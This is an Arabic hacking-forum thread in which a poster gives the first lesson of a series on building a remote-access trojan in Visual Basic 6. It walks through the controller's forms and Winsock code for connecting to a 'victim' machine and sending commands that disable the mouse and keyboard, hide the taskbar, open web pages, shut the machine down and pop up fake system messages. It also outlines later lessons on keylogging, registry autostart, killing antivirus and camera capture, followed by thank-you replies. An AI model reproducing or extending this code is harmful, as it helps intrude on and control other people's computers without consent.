شرح صناعة برنامج اختراق عربي

[هكر المالكي]

بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاته ​

الفكرة :-​

تصميم برنامج إختراق أجهزة من عميل و خادم بالفيجول بيزك ​

الهدف :-​

إيجاد برنامج عربى قوى ينافس البرامج الأجنبية وافكاري دوما قابلة للتطوير يا شعبي ​

سلسلة الدروس :-​

1- التصميم الأساسى للبرنامج مع قائمة المرح ورسائل النظام
وهذا هو الدرس الذى سنتناوله اليوم ​

2- إضافة محادثة العميل والضحية
3- إضافة محادثة الماتركس
4- تطوير الخادم من تبليغ بريدى وتشغيل اتوماتيكى فى الرجسترى وقتل الحماية .... الخ
5- إضافة الكى لوجر جاسوس لوحة المفاتيح
6- تعليم صناعة محرر الخادم الإيدت سرفر
7- إضافة إدارة النوافذ
8- إضافة إدارة الملفات
9- إضافة تصوير الشاشة والكاميرا
10- إضافة الحماية بالباسورد​

-: الشرح :-​

افتح الفيجول بيزك كالمعتاد بإختيار Standard EXE​

​

راح يفتح لك فورم فارغ كما بالصورة التالية​

​

الآن علينا تغيير خصائص الفورم حتى تناسبنا
والان من مربع الخصائص Properties نقوم بالآتى :
1- تغيير الإسم من الخاصية Name إلى Main
2- تغيير الحدود من BorderStyle إلى Fixed Single
3- تغيير التسمية من الخاصية Caption إلى أى اسم تريد مثلا Client
وهذه الصورة للتوضيح ​

​

الآن نقوم بإضافة الكائنات من ToolBox كما بالصورة التالية ​

​

ولمن لا يدرى كيفية إضافة الكائنات هذه الصورة للتوضيح ​

​

الآن سنقوم بتغير تسميات العناوين باستخدام الخاصية Caption كما بالصورة التالية ​

​

نفس العملية أيضا مع الأزرار من الخاصية Caption

​

أما مربعات النصوص فنغيرها من الخاصية Text​

​

الآن بعد ان غيرنا التسميات علينا تغيير الأسماء من الخاصية Name كالتالى ​

زر الإتصال = cmdConnect
زر قطع الإتصال = cmdDissconnect
مربع إدخال الأى بى = txtIP
مربع إدخال المنفذ = txtPort
عنوان الحالة = lblStat
إضافة فورم المرح والرسائل
نقوم بإضافة فورم جديد كما بالصورة التالية ​

​

راح يفتح لنا هذه النافذة ​

​

نقوم بإختيار الخيار الأول Form ​

راح يفتح لنا فورم جديد كالسابق ​

​

نقوم بتغيير الإسم إلى Fun والحدود إلى Fixed Single والتمسة إلى اى شئ تريد ​

​

نقوم بإضافة خمسة عشر زر كالتالى ​

​

نقوم يتغيير التسميات من Caption كالتالى ​

​

الان انتهينا من فورم المرح وسنضيف فورم رسائل النظام ​

نقوم بإدارج فورم جديد بنفس الطريقة السابقة ​

نقوم بتغيير الإسم إلى Massege والحدود إلى Fixed Single والتمسة إلى اى شئ تريد​

نقوم بإدراج الكائنات كما بالتالى ​

​

نقوم بتغير التسميات من Caption ما عدا مربع النص نغيره من Text ​

​

ثم نقوم بتغيير إسم مربع النص من الخاصية Name إلى txtMsg​

والآن انتهينا من إضافة فورم رسائل النظام وبقى خطوة واحدة فى الكائنات وهى إضافة الوينسوك
-: إضافة الوينسوك :- ​

وهى الأدارة التى تربط بين اى برنامجين وتقوم بإرسال واستقبال البيانات بل وأيضا الملفات عن طريق تحوليها إلى صيغ ثنائية , ويمكن الإستغناء عنها بتعريفها باستخدام دوالMicrosoft API ​

والان حتى تتمكن من اضافتها اتبع الآتى ​

عد إلى الفورم الرئيسى Main ​

اذهب إلى ToolBox واضغط زر الفأرة الأيمن واختر Components ​

​

راح يفتح لك قائمة بالأدوات الخارجية المسجلة ​

​

ابحث فى هذه القائمة ستجد الوينسوك بإسم Microsoft Winsock Control 6.0
علم امامها بعلامة صح ثم اضغط OK ​

اما إن لم تجدا باللستة فستضطر إلى اضافتها بنفسك بالضغط على Browse... ​

سيفتح لك مربع تحديد ادوات OCX قم بإختيار الوينسوك وستجدها بإسم MSWINSCK.OCX ​

​

إن كنت من مستخدمىXP أو 2000 أو 2003 فستجد الوينسوك فى مجلد System32 بالويندوز
أما إن كنت من مستخدمى X9 أو ME فستجدها فى مجلد System بالويندوز ​

وبعد تحديدها ستجدها أضيفت لقائمتك كما بالصورة التالية ​

​

اضغط عل OK لتضاف فى آخر ToolBox ​

​

قم بالضغط عليها مرتين لتندرج فى مشروعك كما بالصورة التالية ​

​

وبالطبع لا تنس تغيير إسم الوينسوك من الخاصية Name إلى wnskClinet ​

أكواد الفورم الرئيسى Main​

( لمن لايعرف كيفية إضافة الاكواد للكائنات يكفيك الضغط عليها مرتين ولصق الكود فى المكان الذى سيفتح عليه ) ​

1- كود زر الإتصال ​

كود:
If txtIP.Text = "" Then' التأكد من رقم الأى بى MsgBox "من فضلك ادخل رقم IP مناسب" Else cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال lblStat.Caption = "الاتصال جاري.." ' تحديث الحالة wnskClinet.Close 'إغلاق إى إتصال مفتوح wnskClinet.Connect txtIP.Text, txtPort.Text 'الإتصال End If​

2- كود زر قطع الإتصال ​

كود:​

lblStat.Caption = "غير متصل" ' نحديث الحالة cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال cmdConnect.Enabled = True' لتفعيل زر الإتصال wnskClinet.Close 'اغلاق الاتصال ​

3- كود زر المرح ​

كود:​

Fun.Show ' لإظهار فورم المرح ​

4- كود زر رسائل النظام ​

كود:​

Massege.Show 'لإظهار فورم الرسائل ​

الحين نبدأ بأكواد الأداة وينسوك
نقوم بالضغط مرتين على الأدارة وينسوك راح يفتح لنا على الإجراء Error نلصق به هذا الكود ​

كود:
wnskClinet.Close lblStat.Caption = "خطأ فى الإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False'
لتفعيل زر إيقاف الإتصال
الحين نغير من الإجراء Error إلى الإجراء Close والصورة التالية توضح كيفية تغيير الإجرائات​

​

ونلصق هذا الكود فى الإجراء Close ​

كود:​

wnskClinet.Close lblStat.Caption = "خطأ بالإتصال" cmdConnect.Enabled = True' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = False' لتفعيل زر إيقاف الإتصال ​

ثم ننتقل إلى الإجراء Connect ونلصق هذا الكود ​

كود:​

lblStat.Caption = "تم الإتصال" cmdConnect.Enabled = False' لإيقاف عمل زر الإتصال cmdDissconnect.Enabled = True' لتفعيل زر إيقاف الإتصال ​

اخيرا فى حدث تحميل الفورم Form Load الصق هذا الكود ​

كود:​

cmdDissconnect.Enabled = False' لإيقاف زر قطع الإتصال​

الآن انتهينا من أكواد الفورم الرئيسيى Main ​

==================​

أكواد فورم المرح Fun ​

1- كود زر فتح سواقة الأقراص ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "opn" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
2- كود زر إغلاق سواقة الأقراص ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "cls" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
3- كود زر إخفاء شريط المهام ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "hid" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
4- كود زر إظهار شريط المهام ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال Main.wnskClinet.SendData "shw" 'ارسال الي السيرفر ElseMsgBox "انت غير متصل", vbCriticalEnd If
5- كود زر إخفاء سطح المكتب ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dth" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
6- كود زر إظهار سطح المكتب ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "dts" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
7- كود زر إخفاء زر إبدأ ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbh" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
8- كود زر إظهار زر إبدأ ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sbs" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
9- كود زر فتح صفحة بالمتصفح ​

If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال
site = InputBox("أدخل الصفحة المراد فتحها عند الضحية", "أدخل الصفحة")
Main.wnskClinet.SendData "opg" & site 'ارسال الي السيرفر
Else
MsgBox "انت غير متصل", vbCritical
End If
10- كود زر ضبط صفحة البدء ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصال************ = InputBox("أدخل الصفحة المراد ضبتها كصفحة بدأ", "أدخل الصفحة")Main.wnskClinet.SendData "oph" & ************ 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
11- كود زر تعطيل الفأرة والمفاتيح ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "smk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
12- كود زر تشغيل الفأرة والمفاتيح ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "pmk" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
13- كود زر إغلاق الجهاز ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "sht" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
14- كود زر إعادة التشغيل ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "res" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
15- كود زر تشغيل حافظة الشاشة ​

كود:
If Main.cmdDissconnect.Enabled = True Then 'التأكد من الإتصالMain.wnskClinet.SendData "scr" 'ارسال الي السيرفرElseMsgBox "انت غير متصل", vbCriticalEnd If
الآن انتهينا من أ كواد فورم المرح Fun ​

============​

أكواد فورم الرسائل Massege ​

1- أكواد زر إرسال الرسالة ​

كود:
If Main.cmdDissconnect.Enabled = False Then 'التأكد من الإتصال MsgBox "انت غير متصل", vbCriticalElse If Option1.Value = True Then Main.wnskClinet.SendData "mer" & txtMsg 'ارسال الي السيرفر End If If Option2.Value = True Then Main.wnskClinet.SendData "mqu" & txtMsg 'ارسال الي السيرفر End If If Option3.Value = True Then Main.wnskClinet.SendData "min" & txtMsg 'ارسال الي السيرفر End If If Option4.Value = True Then Main.wnskClinet.SendData "mex" & txtMsg 'ارسال الي السيرفر End If If Option5.Value = True Then Main.wnskClinet.SendData "mno" & txtMsg 'ارسال الي السيرفر End IfEnd If
2- كود زر اختبار الرسالة ​

كود:
If Option1.Value = True Then MsgBox txtMsg, vbCritical End If If Option2.Value = True Then MsgBox txtMsg, vbQuestion End If If Option3.Value = True Then MsgBox txtMsg, vbInformation End If If Option4.Value = True Then MsgBox txtMsg, vbExclamation End If If Option5.Value = True Then MsgBox txtMsg End If​

..~ منقول للفائده ~..​

 

[المفترس]

رد: شرح صناعة برنامج اختراق عربي

والله تعلمت تعلمت الفيجوال بيسك من هدا الدرس وما كنت اعرف انها سهلة لهده درجة

بارك الله فيك اخي

 

[torina23]

رد: شرح صناعة برنامج اختراق عربي

مشكور يا اخ جاري العمل

 

[هكر المالكي]

رد: شرح صناعة برنامج اختراق عربي

العفوا ، اتمنىا لكم التوفيق ..~

 

[AbaqR]

رد: شرح صناعة برنامج اختراق عربي

بإأآرك الله فيك اخوي وأطال في عمرك وجعله في ميزان حسناتك

 

[V!RùS_MàN]

رد: شرح صناعة برنامج اختراق عربي

مشكور يا اخ جاري العمل

 

[هكر المالكي]

رد: شرح صناعة برنامج اختراق عربي

اتمنى لكم التوفيق

 

[hassn]

رد: شرح صناعة برنامج اختراق عربي

الله يوفقك وينور دربك وينفع فيك الاسلام والمسلمين
​

 

[°l||l° نور الظلام °l||l°]

رد: شرح صناعة برنامج اختراق عربي

مشكوور

 

[mouloudhack]

رد: شرح صناعة برنامج اختراق عربي

merciiiiiiiiiiiii

 

[kaito]

رد: شرح صناعة برنامج اختراق عربي

موضوع ممتاز

 

[joker king]

رد: شرح صناعة برنامج اختراق عربي

مشكور على الشرح يا اخي